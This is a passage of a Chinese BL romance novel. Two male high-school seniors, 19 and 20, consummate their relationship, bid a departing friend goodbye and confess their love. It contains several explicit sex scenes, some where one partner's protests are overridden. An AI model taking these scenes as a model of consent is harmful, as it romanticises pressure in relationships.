谢逾白抿唇,“不然呢。” “我早想跟你说,你不要给我买衣服,我不缺衣服。” “一定要缺了才能给你买?不能是礼物吗?” 江逸怔忪,他从小到大,即使缺了也没有新的,更没有人无缘无故给他礼物,他嗓子忽然有些沙哑,“我只是觉得这些衣服很贵,不能机洗,不能水洗,清洗起来很麻烦。” “不需要你清洗,我来处理。” “太娇贵,我平时你知道的,打球,训练,生活很粗糙。”江逸不知道怎么表达更恰当,“你准备的一身衣服,够买我十年买衣服的钱。” 谢逾白听出他的意思了,“所以,你想买什么样的衣服?我陪你去买。” “我不缺衣服。” 谢逾白放下拖把,洗了手,靠近他,“因为衣服的价格让你不舒服了?我不再给你买这么贵的,可以吗?但你不能拒绝我送你礼物,我可以买你舒服的,例如那辆车。” 两人的消费观的确需要敞开了沟通,以前江逸没有太长久和所谓以后的打算,现在交集越来越多,很难逃避,“以前我跟你提过,我很讨厌吃软饭。你明白吗?” 谢逾白忍俊不禁,浅浅地笑,“你如果肯吃软饭,我能吃这么多苦?”他追了这么久,被虐了那么多次。 他抚摸江逸柔软的栗色头发,手指摩挲他的发根,“你不知道,我有多少次,希望如果你能因为我有钱喜欢我,有多好。可是行不通。” “你有什么大病?正常的富二代避讳别人因为家世和财富靠近他。你怎么跟人不一样?” 谢逾白双眸含情,看着他,“可能那人没像我,吃那么多苦吧。”没有他这么卑微,日思夜想,放弃一切想得到一个人。 江逸轻展笑颜:“我让你吃什么苦了?” 谢逾白瘦长的手指穿过他的发丝,指腹在他耳后捻了捻,“我不想往回看,现在挺好。” 他的视线落在江逸的嘴角,有一块红红的小裂口,谢逾白的神色变了,满眼心疼痛惜,“我不该让你给我咬的,我就知道你的嘴太小了。现在怎么办?这里又不能抹药膏,你的恢复能力差,什么时候能好?” 江逸伸舌头舔了下,红嫩的舌尖碰到伤口,他嘶了一声,脸色微红,“你别把这个挂在嘴上。”平时他算脸皮厚的,这种事不太好意思说。 “你为什么忽然给我做,还同意跟我……因为我这次受伤吗?”谢逾白琢磨了一会儿,这是唯一的答案,“我不想你因为感激而跟我……” 江逸曲指蹭了蹭鼻尖,“你是不是把我想的太知恩图报了。”他眼眸含笑,“我一直不反对身体接触,遮遮掩掩,躲躲闪闪的是你。谈恋爱图个快活,怎么舒服怎么来呗。” 江逸:“我让你吃那么苦,现在开始,享受我,怎么样?” 谢逾白拿一双黑灿灿的眸子,直直地凝视他,那目光直接钉入江逸心里,让他身体发热。 江逸声音沙哑,发出邀请,“现在做吗?” 谢逾白还是那么看他,没动。 “是不是要买一下必备用品,我去买?我看到楼下左边路口处有两家药店。” 谢逾白往前一步,揽住他,“不用去,去也是我去,我早就准备了。” 江逸神情愉悦,笑意从眉眼间溢出,“你平时一本正经的,什么时候准备的?” “放寒假,布置房间的时候。” 江逸的手臂勾住他的脖颈,贴着他的侧脸说,“你如实招来,暗恋我那么久,有没有幻想过今天要做的事?” 谢逾白睫羽垂下,眼神不看他,“没有。”他没有做过这么大的梦。 “你想过什么?” “我没你想的那么龌龊。”谢逾白的耳垂变红,脸色也晕染了绯色。 “想去哪个房间?” 谢逾白把人拉到主卧,关上门,拉上窗帘,从床头柜拿出袋子,倒出两盒,和一管润滑剂。 江逸轻笑,啧了一声。 谢逾白回眸,看到他调笑的一张脸,那双琉璃珠子似的漂亮眼瞳,让他心脏发颤。 他从衣柜里拿出一条暗纹领带,抬眼看江逸。 江逸身体贴近他,把手腕送了过来,“想玩这个?绑我?” “没有!”谢逾白喉结吞咽,看着江逸水润明亮的眼睛,感觉自己无处遁形,“可不可以把你眼睛蒙上。” 江逸肩膀一松,唇畔挂上笑意,“原来你好这口,可以,我很体贴的。” 绸缎似的质感蒙住他的眼睛,江逸眨眼,有些不舒服,什么也看不见,他手臂僵硬地动了动。 他能闻到谢逾白身上浅浅的冷香,很清新,柔软湿润的唇贴在他唇上,江逸有些不适应,耳边传来微沉的声音,“别怕。” 他仰着脖颈迎接谢逾白的吻,卷住他的舌头,交换气息与津液,江逸的紧张缓解了一些,想要更多属于他的气味,他感觉谢逾白干燥的手指在他身上游走。 他的吻开始向下,落在锁骨,胸口,深情地亲吻他,江逸像泡进了温泉水,身体被压住,被揉捏,被撩拨,陷入情海之中。 忽然,他的唇被咬了一下,谢逾白嗓子嘶哑,“你别抖,我不会让你疼。” “谢逾白,你说这话,你自己信吗?”看不见让江逸有些焦虑,这事想象跟实际操作有差距。 谢逾白手按压在他的手上,手指交握,“害怕你就抱我脖子,我就停下,行不行?” “哪个男人能停下,你骗人。”江逸又不是三岁小孩,怎么可能被这种鬼话哄骗。 “我能,相信我,我可以。” 谢逾白封住他的唇,把他的担忧全部堵在嘴里。他看着身下不安扭动的人,脑子中理智的弦崩塌,江逸的身体玉白,因为动情,锁骨,手肘,膝盖窝泛着淡淡的粉色。 他的腰细窄,一条手臂就可以环绕,谢逾白很有耐心,一步步的富有耐心不急不躁。 随着时间的流逝,江逸的不安减少,白皙的皮肤变成薄薄的红,好像泡在了红酒里。 江逸线条漂亮的脖颈仰着,玉珠似的喉结滚动,“可以了吗。” 他大口喘息,身体猛然弓起,呼吸急促,“谢逾白,你慢点!” 江逸唇色深红,好像缺氧的鱼,“谢逾白。”他模糊地重复这个名字。 谢逾白听见他一声声沙哑地喊自己的名字,心里炸开了似的,心心念念求而不得的人被他掌控。 谢逾白看着肌肤覆着一层薄薄的汗,迷离失神的人,他扯开江逸眼睛上的领带,睫毛湿润,眼神失焦迷蒙,水汪汪的茫然,谢逾白想他的一颦一笑,每一帧都只属于自己。 江逸眼神模糊,透过迷雾一般的视线看谢逾白,依旧高雅清雪一般,眼神疯狂湿热,江逸呼吸困难,时间流逝得缓慢,江逸又觉得过了很久,“快结束了吗?” 谢逾白把他翻了过去,“我们刚刚开始。” 江逸的脸被闷在枕头里,几欲窒息。 …… 江逸被抱着去浴室,又被抱回床上,浑身一点力气也没有,脚趾酥麻,周身有种餍足的慵懒风情,身上遍布深红的吻痕,掐痕,看上去楚楚可怜。 谢逾白看上去清冷倨傲,吃起人来一点也不含糊,把他吃得死死的,从中午折腾到晚上。 江逸陷进枕头,撩起沉重的眼皮,看他一眼,“谢逾白,你纯变态,你这张脸就是专门蛊惑人的。” “蛊惑你什么了?”谢逾白穿着丝绸质地的黑色睡衣,露出光洁的一截锁骨,情绪极佳,没有筋疲力尽,跟江逸惨兮兮的模样形成对比。 谢逾白修长的手指伸过来,抚摸了下江逸的下巴,“我留情了。” “鬼才信你!我会不会被你搞死?” 谢逾白拉着他的手,放在胸口,“你再讨论这个,我不知道自己能不能忍住了。” 江逸想踹他,腿软,暂时动不了,“谢逾白,你是畜生,能不能做个人?” “从今往后,我会让着你,照顾你,对你负责,以后我们会成为彼此的依靠,拥有我们自己的家。江逸,我知道这些年你过得苦,让我照顾你,给你一个家,一个属于我们的家。” 江逸原本松弛的身体,逐渐紧绷,“你才多大,说什么一辈子。” “我二十岁,但感觉自己历尽沧桑。我这人没别的优点,不会改变,说到做到。这辈子我只爱你一人。” 江逸感到谢逾白说话时的呼吸的热度环绕在周围,热气腾起,他被熏得神智不清了,所以,他回了一句话,“谢逾白,你说给我的那个家,我想要看看。”—— 作者有话说:快完结了,还有四章 第68章 谢逾白,我的男朋友。 江逸头枕在谢逾白腿上, 掀开的深灰色格子睡衣,看他腹部的伤口,线已经拆了, 一条粉色的伤疤,刀疤的部分皮肉外翻。 一只手遮了下,谢逾白不想他继续看,“很丑,别看了。” 江逸微微笑着说,“你已经睡到我了, 丑与不丑, 重要吗?” “当然重要。江逸,你曾经说过, 你是颜控, 我当然要注意保持颜值。”谢逾白企图用睡衣遮上伤疤。 江逸手探了进去, 摸他的腹肌, 人鱼线,手指不安分, “你颜值再高也没我颜值高, 我实际上看上的是你的内在。”他头往上挪, 侧脸贴着谢逾白的腹部皮肤,紧实光滑,质感极好。 谢逾白装模作样的拿起一本书在看,江逸见他十几分钟没翻页,“大晚上你看什么书,光线不好,你看得进去吗?” 他当然看不进去,“做什么?” “送我回家?”江逸活动了下四肢, 激情过后,他瘫软的情况有所好转,力气恢复了,他坐起身开始找手机。 听到回家两个字,谢逾白的表情僵在脸上,“你要回家?现在?”跟他欢爱结束,全身是他留下的暧昧痕迹,江逸要走? “好多天没回家了。”谢逾白住院这些天,他贴身照顾,没回过家,马上开学了,他要回去收拾收拾。 江逸打开手机,未读消息很多,宋越发来信息,要他晚上去烧烤摊,周靖泽明天的飞机去英国,他们给他送行。 谢少爷明显不高兴了,唇线下垂,眼神泛着潮,一个人气闷的样子。 “怎么啦?”江逸去扳他的脸,“今天你还不满足?弄我那么久。” “你一定要走?你还能动,说明仍有余力。”早知道他就不克制了。 “宝贝,我这么掏心掏肺对你,你还不满意啊?”江逸瞧着他英挺的侧脸,亲了亲他的唇角,“我们寸步不离一周了,你谈恋爱这么黏人,能行吗?” 谢逾白不情不愿的样子,撩眼看他,“今晚,我不想跟你分开,我想跟你一起睡觉。” “我真不行了,不能再做了。” 谢逾白脸蓦然红了,“我没想继续,就是单独的抱你睡觉。” 江逸凑过去,在他淡淡的唇上啄吻,“我真服了你了,像个姑娘似的,男生哪有你这样的,黏黏糊糊。” “你舒服完,就不要我了。”谢逾白推他一把。 江逸按了按太阳穴,牺牲的是他,被弄得狠了的是他,最后他成负心汉了? 能怎么办?自己选的男朋友自己哄,他跨坐在谢逾白腿上,脸贴着谢逾白的脸,温声哄他:“今晚有点事,宋越叫我去吃烧烤。” 谢逾白手卡在他的腰侧,心神激荡,想起之前卡住他的腰,大肆进攻的场景,心猿意马,“你怎么能吃烧烤?你要吃清淡的才行。” 反应过来他的意思,江逸有点尴尬,“哪有那么娇贵了,没事,你早点睡觉,明天有空我们再约。” “我跟你见面还要约?你是明星?去吃烧烤我跟你一起。”谢逾白今晚像有分离焦虑一样,一定要让人在他眼皮底下。 江逸身体一顿,看着他,那眼神分明有话要说。 “怎么?不能带我去?吃烧烤有我不能见的人?” 他怎么反应这么快!江逸看他的眼神有点心虚。 “你要去找谁?”谢逾白语气冷了下来。 空气有种窒息感,江逸试图解释,“周靖泽明天飞机去英国,于情于理我应该去告别一下。” “呵。”谢逾白发出轻蔑的气音。 “好多人一起吃饭,你不会介意吧?” 谢逾白语气悠悠,“有什么介意的。”他嘴上这么说,手上的动作毫不含糊。 江逸瞬间僵直脊背,一动不动,他的动作毫无反抗之力,谢逾白含住他的耳垂,“你上我身上什么意思?想试一试这个姿势?” 江逸眼里闪过一丝恐慌,“别,千万别弄我,再这样下去,我走路都费劲。” 谢逾白按住他的腰,丝毫不让他动,“这次过后,我送你去吃烧烤,全程陪同,你要不要?” 他真的要不起,江逸后颈的汗毛竖起来,被谢逾白吻住了嘴唇,身体变软,脑子发晕。 手臂环绕谢逾白的脖颈,黏连地接吻,全身的敏感神经调动起来,眼前雾气一片,谢逾白的五官近在眼前,俊逸脱俗,怎么也看不够,黑得纯粹的眼眸像无底的深渊,拽着他一起往下沉。 “谢逾白,谢逾白。”这个名字仿佛有了魔力。 电流一遍一遍顺着尾椎骨在全身游走,燃烧着江逸的理智。 他昂着脖颈,后背濡湿,禁锢他腰侧的手跟铁链子一样,被死死固定住。 谢逾白咬住他的下巴,语气毋庸置疑,“江逸,不许停。” 我天,江逸迷迷糊糊的,眼睛快睁不开,呼出的热气快把自己烫到,“饶了我,你什么时候饶了我。” “自己努力。” 江逸快崩溃了,江逸咬咬牙,贴上他凸起的喉结,吻他敏感的耳朵,这个姿势亲吻耳朵很方便,舌尖钻进耳骨,他听见谢逾白的低哼,显然他喜欢这个。 江逸继续努力亲吻,舌头快麻了,谢逾白仍然如初,岿然不动。 他动作变形,“我真不行了。”他被人拖到床边,握住脚腕,谢逾白被情欲浸染的黑眸亲吻他的脚背,铁钳子似的捏住他的脚腕,挣扎不了一点。 江逸脑子麻了,浑浑噩噩地想,学霸学什么都这么快。 …… 江逸又被拖着洗了一次澡,感觉自己皮快被洗掉一层,手指快抬不起来了。 谢逾白假惺惺地拿两件衣服问他,“你穿低领的,还是高领的?” 江逸看向浴室镜子里,自己从白皙脖颈到胸口,处处有红色吻痕。 被亲的时候正在兴头上,感觉不到疼,现在江逸周身酸痛,“谢逾白,我受不住,你太过了。你换个人吧。” 谢逾白用白色浴袍温柔地包住他,“我只要你。” 江逸感觉自己的脸皮真没他厚,“我要去吃烧烤。” “我给你穿衣服。”谢逾白选择低领口的黑色毛衫,质地柔软,贴合他肩颈曲线,红色的印记开在江逸的脖颈,像一朵朵桃花,江逸样貌好,一双潋滟的桃花眼,情事滋润过后,像个桃花精。 “你这幅模样出去招摇,我哪里放心?知不知道多少人跟我一样,想把你弄哭?” 他的话让江逸听不下去了,“谢逾白,咱能别这样吗,你不要脸,我还要,这种话你自己知道就行了。” 谢逾白骚起来,没他什么事了。 “说实话,你刚刚爽不爽,你叫得我受不了。”谢逾白捏着他的脖颈,偏要在他耳边说给他听。 江逸缓缓摇头,“我不知道,你别说。” 谢逾白亲力亲为,扣好他的外套扣子,开始给他穿裤子,江逸想自己穿,手腕被按住,“我来。” 这种要命的亲昵让江逸难以承受,从小到大没让人这么伺候过,“我自己穿快点。” “再怎么快也十点了。”谢逾白修长的手指给他围上带着品牌logo的围巾,穿衣镜里江逸看到自己的脸有些红晕,从头到脚不像他,像个小白脸,“这么出门,我朋友肯定会笑话我出去卖了。你把我羽绒服递给我。” 他穿回自己的外套,围巾拿下去,“走吧。” 谢逾白的视线凝固在他脖颈的深红草莓印记。 江逸看着镜子,往上拉了拉羽绒服的领口,痕迹若隐若现,“没什么,有对象的谁还没有性生活。” 谢逾白系着围巾,穿搭笔挺有型,拉起他的手,心中暖暖的,“原来你不怕别人知道我们的关系。” “朋友无所谓,在学校低调点,影响不好。”江逸捏他手背,“毕业以后就不怕了。” 宋越的烧烤摊热闹非凡。昏黄的圆拱形灯挂在半空,透明的棚子,欢声笑语从里面传出来。 谢逾白的穿着跟这里的环境不搭,因为身边的人,有种莫名的安稳感。 宋越第一个起身,招呼他们过去坐,手臂揽着江逸的肩膀,“大忙人,好久没见你了。” 江逸洒脱地笑,“高三学生命苦得狠。” 宋越指着对面坐着的周靖泽,“时间过得飞快,总觉得不久前,你们两个还是跟在我屁股后跑的小矮子,这么快,不仅身高比我高,一个要上大学,一个要出国了。” 江逸:“从小到大,我没矮过。” “周靖泽初中矮过。” 谈笑声,劝酒声此起彼伏。江逸端起酒杯,谢逾白骨节漂亮的一只手压在瓶口,低低的声线传过来,“你今天不能喝酒。” “哎呦,江逸怎么了,不能喝酒?”一名从小玩到大的发小调侃。 江逸脸色一红,“有点感冒。” “感冒不能喝酒,我记得前年你高烧,说喝酒降温。这位帅哥谁啊?不介绍一下?” 江逸毫不矫揉造作,大大方方地介绍,“我班的大学霸,谢逾白,我的男朋友。” 兄弟们一阵唏嘘打趣。 “江逸妖孽,从小到大祸害多少女孩子,伤心欲绝,原来喜欢男生,喜欢这个类型。” “我从小喜欢的女孩,全喜欢江逸,你说气人不气人!” “这个妖孽终于有人收了,逾白兄弟,对他狠点,这家伙从小风骚,可招人了。” 谢逾白面容高雅,神情淡淡,听到这句话,微微颔首表示同意。《 》 完结&番外 第69章 是一见钟情。 周靖泽拍了拍江逸, 示意想单独跟他说几句话。 不远处有空下来的桌子,江逸靠在桌子上,周靖泽站在他身前, 略微歉意地说,“很抱歉,前阵子比较忙碌,学区房的事耽搁了。” “没关系的,我电话里跟你解释过了,宋越买了学区房, 已经解决了。阿姨的病怎么样了?” 几个月而已, 周靖泽变化很大,人成熟了许多, “她的情况不乐观, 多年的操劳身体孱弱。让我出国深造是她一直以来的心愿, 我想达成她的心愿。” “你想做的我支持你, 阿姨留在国内吗?弟弟妹妹如果有任何需要的,随时联系我。”江逸的外貌过于突出, 让人时常忽视他是个很可靠的人。 周靖泽克制地用眼神凝视他, 脑中浮现江逸小时候的模样, 那时候他斜挎着书包,想起他初中第一次抱知知的样子,嫩胳膊嫩腿的小女孩,江逸根本不敢用力,抱得姿势别扭。 一转眼,两人成年了,即将要分道扬镳。 他手臂没动,没像以前一样, 给他一个拥抱,只是用眼睛不舍地,绵绵细雨似的眼神看他。 “听说,伦敦天气不好,经常下雨,你多准备雨伞。”江逸对人一向没什么依赖,可能是经历过太多的离别,只要无关生死,总有再见的时候。 “阿逸,你妈妈回来了,不要依着她,过你自己的生活。” 江逸看出他眼中浓烈的不舍与担忧,“兄弟,不用担心我,等你回来,我们跟以前一样。” 跟以前一样?他们再也无法跟以前一样,周靖泽看着熟悉的街道,朦胧的夜色,虚虚抓了下他的手腕,“保重。” “嗯。” 周靖泽不放心似的,“你跟谢逾白在一起,开心吗?” 江逸简单回复:“开心。” “如果不开心了,不要怕,你有兄弟,有朋友,我们永远是你的退路。” “我知道。”江逸心中有股暖流缓缓流淌,他只有19岁,却早已见识了人情冷暖,这么多年,他看着热闹,真正能留在身边的寥寥无几。 他视线一扫,见谢逾白站在不远处,沉默地看过来,江逸说:“一路顺风,早日学成归来。我等着跟你沾光。” “我会的。”周靖泽没转身,透过江逸的视线,他知道背后站着谁,他没回头。 江逸走到谢逾白跟前,两人一同离开,谢逾白全程缄默,次数多了,江逸知道他的小心眼发作了,总不能让人气呼呼地回去。 江逸手指挠了下他的下颌,“你要不要去我家喝点什么。” 谢逾白眼神高冷,“喝什么?” 江逸随口一说,想了想回答:“矿泉水。”他家只有这个。 “我渴了。” 江逸忍不住笑了笑,估计他正等着自己开口邀请,江逸打开门,钥匙还没来得及放下,被谢逾白按在了墙上,门被他用脚带上。 谢逾白粗鲁地把他的外套脱掉,不管不顾地吻住他,牙齿磕到了江逸的唇肉。 江逸被亲得迷乱,没搞清怎么回事,肩膀一凉,毛衫被脱到了臂弯,手臂被桎梏,他该不会还要做吧?“谢逾白,你不能再弄我了……” 他话还没说完,牛仔裤被解开,身体不受控制地往上,谢逾白手架在他的腋下,把人固定在墙上,身体被强迫地对他展开。因为之前几次情事,里面酸软湿润。 江逸眉心微紧,腿绷紧,脚尖点地,全身的重量在谢逾白的身上,“你戴没戴?” “嗯。”谢逾白咬他的侧颈,不分地方,啃咬着他,呼吸灼热。 “我没看到你拿套,哪来的?” 谢逾白亲了一阵子,红着眼眸回他,“我车里有。” 江逸无力吐槽只能腹诽,谢逾白看上去清冷禁欲,开始发生关系以后,像个猛兽,毫无节制,江逸被弄得周身酸软,以后不能这么纵容他。 他思绪被一个凶猛的动作打乱,思考的精力也被剥夺。谢逾白体力好到令人啧舌,江逸头偶尔撞击着墙面,“换个位置亲……” 他没想到被按到了窗边,隔着薄薄的纱帘,四楼不算高,楼下的路灯,往来的车辆偶尔在眼前闪过,有种被注视的羞耻感,腰被控制在谢逾白掌心,脸颊贴在墙面冰凉。 体内有一个麻筋的位置开始泛滥,江逸体内热烫。 手腕被折到身后,谢逾白从身后贴着他的耳骨,热气弥漫,“你不许自己动手,只能听我的。” 江逸眼瞳一片水光,早已陷入欲念,“什么意思?” 谢逾白不答,禁锢着他的手臂,江逸扭动着身体,脸庞,脖颈,甚至全身陷入一片红热,想要却不能,身体像雨里的一株小树苗,被肆意吹打,偏来倒去。 过了好久,谢逾白手狠狠动了几下,江逸绷到极致的身体有了征兆,谢逾白对着他白皙的肩膀狠狠咬下去,声音霸道,“你要等跟我一起。” …… 苏爽一波接着一波,江逸眼睛快睁不开了,肌肤潮红,谢逾白抱住他,嘴唇磨着他的耳朵,“我很怕的,你知不知道?” 江逸身体头靠在他肩膀,睫毛上沾了水汽,“你怕我不让你做?这件事我们需要聊一聊,你憋了20年,变态了?” “我指的不是这个。”谢逾白面色如常,除了刚刚兴奋的时候呼吸粗重,现在已经恢复如常。 他把江逸清洁了,把人抱到沙发上,客厅没开灯,两人看着窗外萤火般的路灯,享受着静逸的美好。 “我怕的是你不选我。”谢逾白胸腔里发出的声音苦涩,今天他们两人交谈的样子,让他的思绪回到半年前的小树林,两人亲密无间,他不知道怎么能够介入。 只能眼睁睁看着自己喜欢在意的人,跟别人同行,那种无助感,让他难以承受。 江逸偎依在他怀里,一米八多的大个子在谢逾白怀里意外契合,“你不要胡思乱想,我选择了你,喜欢你,足够了,不是吗?” 他的胳膊酸甜,连肚皮也是酸软无力的。 谢逾白乌黑的眼眸注视着他,附身吻住他的唇,江逸没有一点反抗能力,红唇合不上,口腔湿润,谢逾白肆意掠夺他的津液,搅动他的软舌,咬他的舌尖,极尽折磨。 江逸闷不做声地承受,眼睛里水汽缭绕,予取予求。 “怎么不求饶?”谢逾白捻他红肿的唇。 江逸琥珀色的眼珠儿动了动,声音沙哑,“谢逾白,爱分很多种,你的爱是侵略,是不安,是担忧。” 他脸埋进谢逾白的胸口,声音变小,“我的爱是纵容,是忍让。” * 开学以后,日子过得飞快,压抑的氛围弥漫着教室,江逸经常埋进题海,一做就是一天。疲惫不堪之时,他只要抬头看到斜前方那个挺拔的身影,心中的紧迫感消散一些。 他桌子上的笔是谢逾白准备的,练习册是谢逾白买的,知识点的笔记是他做的,水杯是他早晨放的,酥脆的小饼干是他提前准备的,以防江逸会饿。 不知不觉,谢逾白侵占了他生活的点点滴滴,江逸疲惫的身心看到这些点滴的温柔被治愈。 午休时间,他的手机一直震动,最近杨娴多次给他打电话,他没接,这次大有不打通誓不罢休的趋势。 江逸按了接听,“小逸,你午休了吗?我在你学校附近的咖啡厅,你出来下。” “我要做题,没时间。” “知知跟我在一起,她想跟你说话。”电话里传来知知可爱的声音,“哥哥,你下课了吗?我在等你,你快快来哦。” 江逸无可奈何,披上外套,谢逾白刚好从门口进来,“你去哪?我在食堂订了炒菜。” “知知她们在等我,我去一趟,你先吃。”江逸表情麻木,杨娴是个天真又自我的人,一切以自己为中心。跟她相处为数不多的几年里,江逸觉得心累。 他推开门,坐在餐桌前。杨娴大包小包拎了好几个袋子,从地上推到江逸的腿边,“小逸,我给你买了新衣服。今天找你来,想跟你分享一个好消息,我离婚官司结束了,妈妈以后不缺钱了。你再也不用为了钱发愁。” 她眼中饱含歉意,“兜兜转转,男人不靠谱,妈妈身边只有你和知知了。”她泪水盈盈,突然抬手抓掉头上的头发,露出光头。 江逸眼神僵直,眼皮沉重。 “妈妈原本不想告诉你,怕影响你复习,这些年我对不起你,我得了癌症,国内的治疗方式不够好,我打算出国医治。费用足够多,国外的大学多,就业环境宽松,我计划带你跟知知一起出去。” 她语气尽量轻松,四十多岁的年纪,声音听起来像个天真的少女。 江逸嗓子干涸,“你出去治病?怎么带孩子?所以需要我?” “我不是那个意思,我的病在控制范围之内,我请了护工。” 江逸利落地拒绝,“我不会跟你出去,也不同意你带知知出去,你一把年纪了,不知道异国他乡处境艰难,你不会英语,出去要怎么生存?你年龄不小了,自己考虑好。不要以为离婚分得的钱来得容易,可以随意挥霍,你的病要花不少钱,你没有保险,什么也没有。” 江逸一直了解她的妈妈,无辜的性格,根本不适应这个复杂多变的社会,“你不要一意孤行,做事前多思考。” 杨娴震惊地看着眼前的男生,不知道从什么时候开始,他褪去了孩童的模样,眉宇间已经是成年男子的成熟与担当。 不知不觉,她错过了江逸很多成长,“我不奢求你理解妈妈,当时我不改嫁,经济太困难了,知知上幼儿园的学费成问题。” 江逸沉默,理智上他理解杨娴的做法,情感上他无法接受一个母亲一次一次放弃自己的孩子,他自己无所谓,可以自给自足,知知还那么小。 她把一张银行卡推到江逸跟前,“如果你不肯走,这里面有四十万,我算了算,差不多够你大学四年的生活费,学费,密码是你的生日。” 江逸指尖捏着银行卡,把卡转手放进知知手里,“知知,这张银行卡你拿着,妈妈给你的,回去交给二姨保存。” 这笔钱算给知知和妈妈的保障吧,万一有缺钱的时候,可以应急。 江逸起身,“我回去了,快上课了。” 杨娴语气哀求地问:“你能原谅妈妈吗?妈妈是爱你的。” 江逸语气平静,眼神淡漠:“你做了什么不能被原谅的事吗?” 他推开门,用手挡了挡,春天的阳光很刺眼,不远处,谢逾白手里拿着咖啡,深黑的眼眸看着他,唇边微扬,“过来。” 江逸发紧的喉咙,酸痛的眼眶,在看到他那一刻,彻底放松,快步走向他,谢逾白揽着他的肩膀,咖啡的香气萦绕在他的鼻息,“你怎么来了?” “来做你的后盾。” “你今天怎么如此善解人意?” 谢逾白把咖啡递到他唇边,“我说过会照顾你,让着你,看你一副不开心的样子,当然会在这等你。” 江逸鼻子闷酸,“谢逾白,我可能看不到我的家人了,我妈生病了,她出国治病想带着知知。” “你让吗?” “不让。” “你不让有用?” 江逸摇头,随着知知年龄的增长,正是需要妈妈的年纪,他自己没有母爱可以活,不想知知跟他一样。 谢逾白把他搂紧一些,在他耳畔轻轻说:“既然无法改变,尊重她们的选择,江逸,请你记住一点,你不会看不到你的家人,你想去,我随时陪你坐飞机去看知知。此外,我跟你说过,我是你的家人,你多看看我。” 他们路过学校的树林,谢逾白按着江逸的脸埋进他的怀里,“我多看了你四年,以后多看我,给我补回来,行不行?” 江逸望着他线条清晰的下颌线,深邃的眼眸有点冷,跟温柔不搭边的一个人,江逸竟然从他深沉的眼神中,微垂的唇角,读出了心疼跟在意。 “谢逾白,我好像开始爱上你了。”想抱他,想看他,想跟他互相取暖,不想跟他分开。每天盼望着见到他。 谢逾白抿着嘴唇,“把好像去掉,再说一遍。” “谢逾白,我开始爱上你了。” “去掉开始。” 江逸举一反三,直接说他想听的:“谢逾白,我爱你。” “听到了。”谢逾白把人紧紧搂进怀里,“江逸,我等了你四年,终于等到了这句话。我在梦里反复畅想,连梦里也没听见过这句话。我告诉过自己,如果有一天我听到这句话,无论何时何地,我一定要告诉你,江逸,我更爱你。全世界的人,我是最爱你的。 江逸仰着脸看他,眼眶湿润,眼泪流不出来,“谢谢你,穿越人海,来到我身边。” 何其幸运,在现在的年纪,他遇到了想要一直在一起的人。江逸觉得,他以前吃过的苦换来了谢逾白,“是不是老天看我太可怜了,把你送来我身边。” 谢逾白亲吻他的唇角,“不是,是我见你太好看,太温柔,自愿来你身边伺候你。” “你以前说过我不好看,一般。” 谢逾白淡笑,“我那时候就觉得你好看。我想起我妈妈活着时候爱听的一首歌的歌词:你在我心里是最美。” 江逸喜欢听歌,从来没听过这句歌词,“什么歌?” 树林里有一颗大石头,表面光滑,两人坐在石头上,谢逾白打开音乐软件,轻快的歌声飘扬着。 “你在我眼中是最美 每一个微笑都让我沉醉 你的坏你的好 你发脾气时撅起的嘴 你在我心中是最美 只有相爱的人最能体会……” 江逸掩着唇笑,“这首歌好老,旋律很好。” “我妈妈喜欢听的歌,能不老?”谢逾白有些不好意思,眼神默默地看着他,没有隐藏,直抒胸臆,“四年前,看到你的第一眼,我就觉得你跟所有人不一样,长得很好看,有一双会说话的眼睛,人很欢脱,生机勃勃,活灵活现。” 江逸笑着点他的鼻尖,“你对我见色起意?” 谢逾白蹙眉,“你什么措辞?是一见钟情。” 江逸眼神流淌着笑意:“我对你是见色起意。” (正文完)—— 作者有话说:还有两章番外 第70章 番外1 你今天乖一点 谢逾白整理了厚厚一摞打印资料给江逸, 他特意戴上眼镜,趁着午休时间,认认真真筛选。 江逸探出头问, “你看什么呢?” “这些是我整理的三月和四月份各个高校体育特招的情况,我先过一遍,然后你做决定。” 江逸看着这么厚的资料,“你自己搜索整理的?” 谢逾白理所当然的语气说:“当然,这么重要的事我信不着别人。” 江逸走到陈最的座位,手支着头看着谢逾白认真的侧脸。 初春暖日, 丝丝缕缕的阳光, 点点碎金浅淡地铺洒在谢逾白身上。他的眉目仿若电影画面。 江逸的鞋面踢了下他的小腿,“你视力5.0, 怎么戴眼镜了?” “预防近视的。” “我记得四年前, 我刚跟你见面的时候, 你戴着挺厚的黑框眼镜。” 那时候谢逾白没现在好看, 太瘦了,五官没长开, 现在五官深邃, 眼窝沉沉, 浓黑的瞳仁干净纯粹,冷感清敛。 谢逾白缓缓抬眼,语气僵硬,“那么久的事,我不记得了。” 江逸忍不住笑,“你做过近视眼手术吧?” 谢逾白中考之后做的手术,他小时候看书太多,导致小学三年级就近视了, “好像做过。” “疼不疼?”江逸的下巴搁在胳膊上,眼神专注地看他的眼睛,“现在眼睛有什么不良反应吗?” 谢逾白眨了眨眼,“偶尔劳累的时候,眼睛干涩。”江逸的目光太过炙热,他很不习惯,伸手将他的脸掰到另一个方向,“你回去做卷子,别在这跟我捣乱。” 由于两人的关系迅速升温,他们定下了规定,不在学校亲热,拥抱,尽量减少肢体接触,江逸浅弯唇角,“犯规的是你,我没动手,要罚款。” 谢逾白瞥他:“你动脚了没?” 江逸无语,“动脚也不行?” “你觉得呢?” “我不动手,也不动脚了。”江逸头躺在臂弯,侧着头看他。 谢逾白实话实说:“你这么看着我,我能看进去资料?” 江逸瞳中光芒流转,“你怎么看不进去了呢?我眼神能吃了你?” “江逸!”谢逾白看了看周围,“你敢在学校……撩我。”他手掐住江逸的后颈,眯着眼瞳捏了下,“你跟我出去一趟?” 江逸后背僵硬,“不了不了。”他坐直身体,拿起桌子上的资料看了看,这些大学全在京市,或者京市周边城市,“谢逾白,你司马昭之心,太明显了。” 谢逾白把他手里的资料夺走,“我不可能给你选离我远的城市。” “你怎么这么专制!” “我就是这么专制。”谢逾白留下肯定的一句话。 学校候选有两个,接下来的日子,江逸投身于强度大的训练之中,不像寒假,他有大把的时间训练。现在时间紧张,除了文化课就是训练,他跟谢逾白半个多月才能一起吃一顿饭。 经常谢逾白买好饭以后,来体育馆接他,在车上他吃个晚饭,回家睡觉。 四月悄然而至,路旁小径边的草木纷纷抽出嫩绿的新芽,冬去春来的讯息,万物焕新。 江逸明天出发去参加考试,今天下午好不容易空出半天时间。 他站在体育馆门口等待,心里轻快,他们半天时间做点什么?请谢逾白吃饭?看场电影? 卡宴慢慢停下,江逸快速拉开车门,谢逾白穿衣总是比别人少,要风度不要温度,他身着石灰色的风衣,随意地敞着,内里干净如雪的白衬衫。 一张隽冷的容颜,无端地叫人心脏不受控制地悸动。 